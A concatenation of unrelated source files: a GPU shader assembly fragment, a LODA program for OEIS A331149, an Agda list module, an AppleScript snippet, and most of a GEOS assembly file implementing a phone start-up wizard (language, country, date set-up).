mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 12)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(7, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 14)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
// #### write this channel
mov (8) ubDEST_RGBX(0,ROW_NUM_WRITE*64+CHANNEL )<4> REG2(r,nTEMP12, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,ROW_NUM_WRITE*64+CHANNEL+32)<4> REG2(r,nTEMP12, 8)<0;8,1>:ub
#if (!ONE_ROW_DEBUG)
}
#endif
|
oeis/331/A331149.asm | neoneye/loda-programs | 11 | 95738 | <reponame>neoneye/loda-programs<filename>oeis/331/A331149.asm<gh_stars>10-100
; A331149: Triangle read by rows: T(n,k) (n>=k>=1) = floor((n/k)*ceiling(n/k)).
; Submitted by <NAME>
; 1,4,1,9,3,1,16,4,2,1,25,7,3,2,1,36,9,4,3,2,1,49,14,7,3,2,2,1,64,16,8,4,3,2,2,1,81,22,9,6,3,3,2,2,1,100,25,13,7,4,3,2,2,2,1,121,33,14,8,6,3,3,2,2,2,1,144,36,16,9,7,4,3,3,2,2,2,1,169,45,21,13,7,6,3,3,2,2,2,2,1
lpb $0
add $1,1
sub $0,$1
lpe
add $0,1
add $1,1
mov $2,$1
sub $1,1
div $1,$0
add $1,1
mul $2,$1
div $2,$0
mov $0,$2
|
src/Human/List.agda | MaisaMilena/JuiceMaker | 6 | 2580 | module Human.List where
open import Human.Nat
infixr 5 _,_
data List {a} (A : Set a) : Set a where
end : List A
_,_ : (x : A) (xs : List A) → List A
{-# BUILTIN LIST List #-}
{-# COMPILE JS List = function(x,v) { if (x.length < 1) { return v["[]"](); } else { return v["_∷_"](x[0], x.slice(1)); } } #-}
{-# COMPILE JS end = Array() #-}
{-# COMPILE JS _,_ = function (x) { return function(y) { return Array(x).concat(y); }; } #-}
foldr : ∀ {A : Set} {B : Set} → (A → B → B) → B → List A → B
foldr c n end = n
foldr c n (x , xs) = c x (foldr c n xs)
length : ∀ {A : Set} → List A → Nat
length = foldr (λ a n → suc n) zero
-- TODO --
-- filter
-- reduce
-- Receives a function that transforms each element of A, a function A and a new list, B.
map : ∀ {A : Set} {B : Set} → (f : A → B) → List A → List B
map f end = end
map f (x , xs) = (f x) , (map f xs) -- f transforms element x, return map to do a new transformation
-- Sum all numbers in a list
sum : List Nat → Nat
sum end = zero
sum (x , l) = x + (sum l)
remove-last : ∀ {A : Set} → List A → List A
remove-last end = end
remove-last (x , l) = l
|
Control Statements/tell/get properties.applescript | looking-for-a-job/applescript-examples | 1 | 2013 | <reponame>looking-for-a-job/applescript-examples
tell application "AppleScript Editor"
get properties
end tell |
programs/oeis/335/A335860.asm | jmorken/loda | 1 | 23010 | <gh_stars>1-10
; A335860: Partial sums of A064097.
; 0,1,3,5,8,11,15,18,22,26,31,35,40,45,50,54,59,64,70,75,81,87,94,99,105,111,117,123,130,136,143,148,155,161,168,174,181,188,195,201,208,215,223,230,237,245,254,260,268,275,282,289,297,304,312,319,327,335
mov $41,$0
mov $43,$0
lpb $43
clr $0,41
mov $0,$41
sub $43,1
sub $0,$43
lpb $0
mov $1,511879
cal $0,60681 ; Largest difference between consecutive divisors of n (ordered by size).
mul $0,2
add $2,511879
lpb $1
div $0,2
sub $0,1
mov $1,1
lpe
lpe
mov $1,$2
div $1,511879
add $42,$1
lpe
mov $1,$42
|
Appl/Startup/RStartup/rstartupProcess.asm | steakknife/pcgeos | 504 | 20938 | <gh_stars>100-1000
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
(c) Copyright Geoworks 1995 -- All Rights Reserved
GEOWORKS CONFIDENTIAL
PROJECT: PC GEOS
MODULE: Start up application
FILE: rstartupProcess.asm
AUTHOR: <NAME>, Apr 3, 1995
METHODS:
Name Description
---- -----------
RSPGenProcessOpenApplication Open application. Bring up language
or country dialog.
RSPGenProcessCloseApplication Close the application.
RSPGenProcessCreateNewStateFile Make sure no state file is generated.
RSPRstartupProcessShowLanguage Show the language dialog.
RSPRStartupProcesLanguageOK Confirm language selection.
RSPRstartupProcessShowHomeCountry
Show the home country dialog.
RSCLRstartCountryListQueryMoniker
Query message to add the moniker of
specified item to dynamic list.
RSPRstartupProcessCountryOK Do the country stuffs.
RSPRstartupProcessShowDate Set the date format, show date dialog.
RSPRstartupProcessDateOK Check if the date string is valid,
set the date.
RSPRstartupProcessShowTime Set the time format, show time dialog.
RSPRstartupProcessTimeOK Check if the time string is valid,
set the time, and initiate the User
data dialog.
RSPRstartupProcessCheckSimCardInfo
Send ECI message to check if
SIM card is available..
RSPRstartupProcessShowUinfoEditor
Show the user data editor dialog
after initialization
RSPRstartupProcessUinfoOK Save the record, and initiate
the next dialog.
RSPRstartupProcessMemoryChangeOk
RSPRstartupProcessSimMemoryOk
RSPRstartupProcessExitOK Change [uifeatures] defaultLauncher
to phone (or contact mgr for now),
launch the app, and quit.
RSCEContactEditInsertEmptyRecordInDB
Code to insert an empty record in
database.
ROUTINES:
Name Description
---- -----------
INT RStartupIniWriteLanguage Write the language options to INI file
INT RStartupClearLanguagePatches Delete all extra language patches.
INT RStartupDeleteOneLanguage Delete one language from PRIVDATA.
INT RStartupLanguageReboot Reboot after language selection.
INT RStartupCheckValidDate Check if date is valid (cases like
Apr 31 and Feb 29, 1991)
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/14/95 Initial revision
DESCRIPTION:
Code for Startup process class
$Id: rstartupProcess.asm,v 1.1 97/04/04 16:52:35 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RStartupClassStructures segment resource
RStartupApplicationClass
RStartupProcessClass mask CLASSF_NEVER_SAVED
RStartupCountryListClass
RStartupContactEditClass
RStartupClassStructures ends
if DO_ECI_SIM_CARD_CHECK ;-------------------------------------------
idata segment
eciSentFlags RStartupECIFlags
; some bits will be set when ECI
; messages are sent to VP already
idata ends
endif ;-------------------------------------------
CommonCode segment resource
if RSTARTUP_DO_LANGUAGE ; ++++++++++++++++++++++++++++++++++++++++++
languageChosenCategory char 'system', 0
languageChosenKey char 'languageChosen', 0
endif ; ++++++++++++ RSTARTUP_DO_LANGUAGE ++++++++
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPGenProcessOpenApplication
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open application. Depending on [system]languageChosen, bring
up language dialog or country dialog.
CALLED BY: MSG_GEN_PROCESS_OPEN_APPLICATION
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
cx = AppAttachFlags
dx = Handle of AppLaunchBlock, or 0 if none.
bp = Handle of extra state block, 0 if none.
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/19/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPGenProcessOpenApplication method dynamic RStartupProcessClass,
MSG_GEN_PROCESS_OPEN_APPLICATION
.enter
mov di, offset RStartupProcessClass
call ObjCallSuperNoLock
;
; if we have the app opened already (lazarus), don't
; initialize RWT database..
;
; Ooooppss.. if RT things are not initialized it will die,
; even in lazarus. Don't check.
;
; call RStartupCheckIfAppIsOpen ; carry set if yes
;EC < WARNING_C LAZARUS_RWTIME_LIBRARY_NOT_INITIALIZED>
; jc noRWTIni
;
; Mark the app is open
;
; call RStartupMarkAppOpen
;
if RSTARTUP_DO_LANGUAGE ;++++++++++++++++++++++++++++++++++++++++++
;
; check ini file to see if we have language chosen already
;
mov cx, cs
mov ds, cx
mov si, offset languageChosenCategory
mov dx, offset languageChosenKey
call InitFileReadBoolean ; found: carry clear,
; ax - TRUE/FALSE
; not found: carry set
mov_tr cx, ax
mov ax, MSG_RSTARTUP_PROCESS_SHOW_LANGUAGE
jc showLanguage
jcxz showLanguage
endif ; ++++++++++++ RSTARTUP_DO_LANGUAGE ++++++++
;
; check ini file to see if we have keyboard type chosen already
;
;noRWTIni:
mov cx, cs
mov ds, cx
mov si, offset keyboardCategory
mov dx, offset kbdTypeChosenKey
call InitFileReadBoolean ; found: carry clear,
; ax - TRUE/FALSE
; not found: carry set
;
; if not found or equal to false, we can assume that startup has
; never been executed or keyboard type is not scandinavian, and we
; show home country.
;
mov_tr cx, ax
mov ax, MSG_RSTARTUP_PROCESS_SHOW_HOME_COUNTRY
jc showCountry
jcxz showCountry
;
; show time
;
mov ax, MSG_RSTARTUP_PROCESS_SHOW_DATE
showLanguage::
showCountry::
call CallProcess ; ax, cx, dx, bp gone
.leave
ret
RSPGenProcessOpenApplication endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupCheckIfAppIsOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check if the varData ATTR_RSTARTUP_APP_OPEN exists in
the app object. Mainly to deal with lazarus.
CALLED BY: INTERNAL (RSPGenProcessOpenApplication)
PASS: nothing
RETURN: carry set if vardata found
carry clear if not found
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 10/17/95 Initial version (copied from
SolitaireCheckIfGameIsOpen)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if 0
RStartupCheckIfAppIsOpen -NOT USED- proc near
uses ax, bx, cx, dx, si, di, bp
.enter
sub sp, size GetVarDataParams
mov bp, sp
mov ss:[bp].GVDP_dataType, ATTR_RSTARTUP_APP_OPEN
mov {word} ss:[bp].GVDP_bufferSize, 0
; clrdw ss:[bp].GVDP_buffer
mov bx, handle RStartupApp
mov si, offset RStartupApp
mov ax, MSG_META_GET_VAR_DATA
mov dx, size GetVarDataParams
mov di, mask MF_CALL or mask MF_STACK
call ObjMessage ; ax <- -1 if not
; found,
; cx, dx, bp destroyed
add sp, size GetVarDataParams
cmp ax, -1 ; check if not found
stc
jne varDataFound
clc
varDataFound:
.leave
ret
RStartupCheckIfAppIsOpen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupMarkAppOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add the varData ATTR_RSTARTUP_APP_OPEN in
the app object. Mainly to deal with lazarus.
CALLED BY: INTERNAL (RSPGenProcessOpenApplication)
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 10/17/95 Initial version (copied from
SolitaireMarkGameOpen)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RStartupMarkAppOpen -NOT USED- proc near
uses ax, bx, cx, dx, si, di, bp
.enter
sub sp, size AddVarDataParams
mov bp, sp
mov ss:[bp].AVDP_dataType, ATTR_RSTARTUP_APP_OPEN
mov {word} ss:[bp].AVDP_dataSize, size byte
clrdw ss:[bp].AVDP_data
mov bx, handle RStartupApp
mov si, offset RStartupApp
mov ax, MSG_META_ADD_VAR_DATA
mov dx, size AddVarDataParams
mov di, mask MF_CALL or mask MF_STACK
call ObjMessage
add sp, size AddVarDataParams
.leave
ret
RStartupMarkAppOpen endp
endif ; 0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPGenProcessCloseApplication
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close the application
CALLED BY: MSG_GEN_PROCESS_CLOSE_APPLICATION
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/28/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if 0
RSPGenProcessCloseApplication -NOT-USED- method dynamic RStartupProcessClass,
MSG_GEN_PROCESS_CLOSE_APPLICATION
uses cx
.enter
;
; Close the World time database
;
mov cx, mask RPIF_COUNTRY or mask RPIF_CITY
call RWTDatabaseClose
EC < ERROR_C DATABASE_CLOSE_PROBLEM >
.leave
mov di, offset RStartupProcessClass
GOTO ObjCallSuperNoLock
RSPGenProcessCloseApplication endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPGenProcessCreateNewStateFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make sure no state file is generated.
CALLED BY: MSG_GEN_PROCESS_CREATE_NEW_STATE_FILE
PASS: ds = dgroup
ax = message #
RETURN: ax = 0
DESTROYED: nothing
SIDE EFFECTS:
No state file will be created.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
stevey 5/ 1/95 Initial version (copied from
Appl/Startup/JStartup/jsProcess.asm)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPGenProcessCreateNewStateFile method dynamic RStartupProcessClass,
MSG_GEN_PROCESS_CREATE_NEW_STATE_FILE
clr ax
ret
RSPGenProcessCreateNewStateFile endm
if RSTARTUP_DO_LANGUAGE ;++++++++++++++++++++++++++++++++++++++++++
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowLanguage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Show the language dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_LANGUAGE
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/16/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessShowLanguage method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_LANGUAGE
;
; Build the language list
;
mov bx, handle LanguageList
mov si, offset LanguageList
mov ax, MSG_RSLANG_DYNAMIC_LIST_BUILD_ARRAY
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax, cx, dx, bp gone
;
; Initialize the dialog
;
mov bx, handle LanguageDialog
mov si, offset LanguageDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
ret
RSPRstartupProcessShowLanguage endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessLanguageOK
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS User presses OK on Language dialog box. Should get
confirmation with a dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_LANGUAGE_OK
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Grab the selection from LanguageList
Get the language name from LanguageList
Display warning and get confirmation
If "OK" {
save language option to ini file
Write [system]languageChosen: TRUE
/* so that next time rstartup will not show language
dialog box */
confirm restart
restart
}
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/27/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessLanguageOK method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_LANGUAGE_OK
language local MAX_STRING_SIZE dup (TCHAR)
languageNum local word
.enter
;
; Get the selection from LanguageList
;
push bp, bp, bp
mov bx, handle LanguageList
mov si, offset LanguageList
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax - selection,
; GIGS_NONE and clear
; set if none.
; cx, dx, bp gone
EC < Assert ne, ax, GIGS_NONE >
pop bp
mov ss:[languageNum], ax
;
; Find the language name from LanguageList instance variable
; (nameArray)
;
mov cx, ss ; cx:dx - string buffer
lea dx, ss:[language]
mov_tr bp, ax
mov ax, MSG_RSLANG_GET_LANGUAGE_NAME
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; string filled, ax,
; cx destroyed.
pop bp
;
; Display warning and get confirmation
;
sub sp, size FoamStandardDialogOptrParams
mov di, sp
mov cx, handle DialogWarningBitmap
mov dx, offset DialogWarningBitmap
movdw ss:[di].FSDOP_titleIconBitmap, cxdx
mov cx, handle LanguageWarningTitle
mov dx, offset LanguageWarningTitle
movdw ss:[di].FSDOP_titleText, cxdx
mov cx, handle LanguageWarningText
mov dx, offset LanguageWarningText
movdw ss:[di].FSDOP_bodyText, cxdx
mov ss:[di].FSDOP_customFlags, \
CustomDialogBoxFlags <1, CDT_QUESTION, GIT_PROPERTIES, 0>
mov ss:[di].FSDOP_stringArg1.segment, ss
lea cx, ss:[language]
mov ss:[di].FSDOP_stringArg1.offset, cx
mov ss:[di].FSDOP_stringArg2.segment, ss
mov ss:[di].FSDOP_stringArg2.offset, cx
clr ax
mov ss:[di].FSDOP_triggerTopText.handle, ax
mov ss:[di].FSDOP_triggerBottomText.handle, ax
mov ss:[di].FSDOP_acceptTriggerDestination.handle, ax
mov ss:[di].FSDOP_acceptTriggerMessage, ax
mov ss:[di].FSDOP_rejectTriggerDestination.handle, ax
mov ss:[di].FSDOP_rejectTriggerMessage, ax
mov ss:[di].FSDOP_layerPriority, al
mov ss:[di].FSDOP_helpContext.segment, ax
mov ss:[di].FSDOP_helpFile.segment, 0
mov bp, sp ; bp is destroyed!
call FoamStandardDialogOptr ; ax <- response:
; IC_APPLY / IC_DISMISS
pop bp
cmp ax, IC_APPLY
jne quit
;
; write the option to init file
;
call RStartupIniWriteLanguage ; ax, bx, cx, dx, ds,
; si, di gone.
;
; clear extra language patch files
;
mov ax, ss:[languageNum]
call RStartupClearLanguagePatches
;
; display reboot warning
;
mov cx, handle LanguageRebootWarning
mov dx, offset LanguageRebootWarning
call FoamDisplayNote
;
; reboot
;
push bp
call RStartupLanguageReboot ; ax, bx, cx, dx, ds,
; si, bp destroyed
pop bp
quit:
.leave
ret
RSPRstartupProcessLanguageOK endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupIniWriteLanguage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write language option to init file.
CALLED BY: INTERNAL
PASS: nothing
RETURN: nothing
DESTROYED: ax, bx, cx, dx, ds, si, di (but NOT bp!)
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/16/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RStartupIniWriteLanguage proc near
uses bp
.enter
;
; Save the language option to ini file
;
mov ax, MSG_META_SAVE_OPTIONS
mov bx, handle LanguageList
mov si, offset LanguageList
mov di, mask MF_CALL
call ObjMessage ; ax, cx, dx, bp gone
;
; Write [system]languageChosen = TRUE
;
mov cx, cs
mov ds, cx
mov si, offset languageChosenCategory
mov dx, offset languageChosenKey
mov ax, TRUE
call InitFileWriteBoolean
.leave
ret
RStartupIniWriteLanguage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupClearLanguagePatches
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete all language patches except those of chosen language.
CALLED BY: INTERNAL
PASS: ax = chosen language number (0 based)
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
The location of patches:
PRIVDATA/LANGUAGE/<language name>/*
e.g. PRIVDATA/LANGUAGE/Deutsch/*
Pseudo code:
(ax = chosen language)
cd PRIVDATA/LANGUAGE
cx = LanguageList.MSG_GEN_DYNAMIC_LIST_GET_NUM_ITEMS
for (i = 0; i < cx; i++) {
if (i == chosen language) brk
cd languageName[i]
rm -rf *
cd ..
rmdir languageName[i]
}
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/17/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
languageDirName char "LANGUAGE", 0
RStartupClearLanguagePatches proc near
uses ax, bx, ds, si, di, bp
.enter
mov cx, ax ; cx <- selection
;
; cd PRIVDATA/LANGUAGE
;
mov bx, SP_PRIVATE_DATA
segmov ds, cs
mov dx, offset languageDirName
call FileSetCurrentPath ; carry set if error.
jc quit
;
; Get number of languages in the list
;
push cx ; preserve lang #
mov bx, handle LanguageList
mov si, offset LanguageList
mov ax, MSG_GEN_DYNAMIC_LIST_GET_NUM_ITEMS
mov di, mask MF_CALL
call ObjMessage ; cx <- #items
; ax, dx, bp destroyed
EC < Assert g, cx, 0 >
pop dx ; language #.
deleteOne:
mov ax, cx
dec ax
cmp ax, dx
je endLoop
call RStartupDeleteOneLanguage ; all destroyed
; except cx, dx
endLoop:
loop deleteOne
quit:
.leave
ret
RStartupClearLanguagePatches endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupDeleteOneLanguage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Delete (ax)th language from system.
CALLED BY: INTERNAL
PASS: ax = Language number (0 based)
Thread current path = PRIVDATA/LANGUAGE
RETURN: nothing
DESTROYED: everything except cx, dx
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
cd languageName[i]
rm -rf *
cd ..
rmdir languageName[i]
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/17/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RStartupDeleteOneLanguage proc near
language local MAX_STRING_SIZE dup (TCHAR)
uses cx, dx
.enter
;
; retain current directory
;
call FilePushDir
;
; Get language name
;
push bp
mov bx, handle LanguageList
mov si, offset LanguageList
mov cx, ss ; cx:dx - string buffer
lea dx, ss:[language]
mov_tr bp, ax
mov ax, MSG_RSLANG_GET_LANGUAGE_NAME
mov di, mask MF_CALL
call ObjMessage ; string filled, ax,
; cx destroyed
pop bp
;
; cd 'languageName'
;
segmov ds, ss, bx ; ds:dx - path
lea dx, ss:[language]
clr bx ; path relative to
; current path
call FileSetCurrentPath ; carry set if error
jc error
;
; rm -rf *
;
call RecursiveDeleteNear ; nothing destroyed
;
; cd ..
;
call FilePopDir
;
; rmdir 'languageName'
;
call FileDeleteDir ; carry set if error
quit:
.leave
ret
error:
call FilePopDir
jmp quit
RStartupDeleteOneLanguage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RStartupLanguageReboot
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reboot after the language selection.
CALLED BY: INTERNAL
PASS: nothing
RETURN: does not return
DESTROYED: ax, bx, cx, dx, ds, si, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
We need to make sure that state files and Table of
Content file will be deleted next time we restart.
That is done by two ini file flags.
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 5/17/95 Initial version (mostly from
Library/Pref/Preflang/preflang.asm)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
deleteStateFilesCategory char 'ui',0
deleteStateFilesKey char 'forceDeleteStateFilesOnceOnly',0
deleteTocFileCategory char 'pref',0
deleteTocFileKey char 'forceDeleteTocOnceOnly',0
RStartupLanguageReboot proc near
.enter
;
; Make sure the state files will be deleted.
;
mov cx, cs
mov ds, cx
mov si, offset deleteStateFilesCategory
mov dx, offset deleteStateFilesKey
mov ax, TRUE
call InitFileWriteBoolean
;
; Make sure Table Of Content (TOC) file will be deleted.
;
mov si, offset deleteTocFileCategory
mov dx, offset deleteTocFileKey
mov ax, TRUE
call InitFileWriteBoolean
;
; Restart system
;
mov ax, SST_RESTART
call SysShutdown ; does not return
.leave
ret
RStartupLanguageReboot endp
endif ; ++++++++++++ RSTARTUP_DO_LANGUAGE ++++++++
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
RSPRstartupProcessShowHomeCountry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Show the home country dialog.
CALLED BY: MSG_RSTARTUP_PROCESS_SHOW_HOME_COUNTRY
PASS: *ds:si = RStartupProcessClass object
ds:di = RStartupProcessClass instance data
es = segment of RStartupProcessClass
ax = message #
RETURN: nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
kho 4/19/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
RSPRstartupProcessShowHomeCountry method dynamic RStartupProcessClass,
MSG_RSTARTUP_PROCESS_SHOW_HOME_COUNTRY
;
; Initialize the RWT database
;
mov cx, mask RPIF_COUNTRY or mask RPIF_CITY
call RWTDatabaseInit
jnc normal
;
; Let's not do restore, but rather just copy backup file to
; save time.
;
; call RStartupRestoreFiles
; jnc normal
call RWTDatabaseCopyBackupFiles ; cx <- RWTimeInitFlags
call RWTDatabaseInit
EC < ERROR_C -1 ; why? >
normal:
call RWTDatabaseSetAllViewpt
EC < ERROR_C DATABASE_SET_ALL_VIEWPT_PROBLEM >
call RWTDatabaseCountrySetAllViewpt
;
; Find how many countries there are in database
;
call RWTDatabaseCountryGetViewptRecordCount
; cx <- count
EC < ERROR_C COUNTRY_GET_VIEWPT_RECORD_COUNT_PROBLEM >
;
; Initialize the list
;
mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE
mov bx, handle HomeCountryDynamicList
mov si, offset HomeCountryDynamicList
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax, cx, dx, bp gone
;
; Go back to top of list
;
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr cx, dx
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; ax, cx, dx, bp gone
;
; Initialize the dialog
;
mov bx, handle HomeCountryDialog
mov si, offset HomeCountryDialog
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_CALL
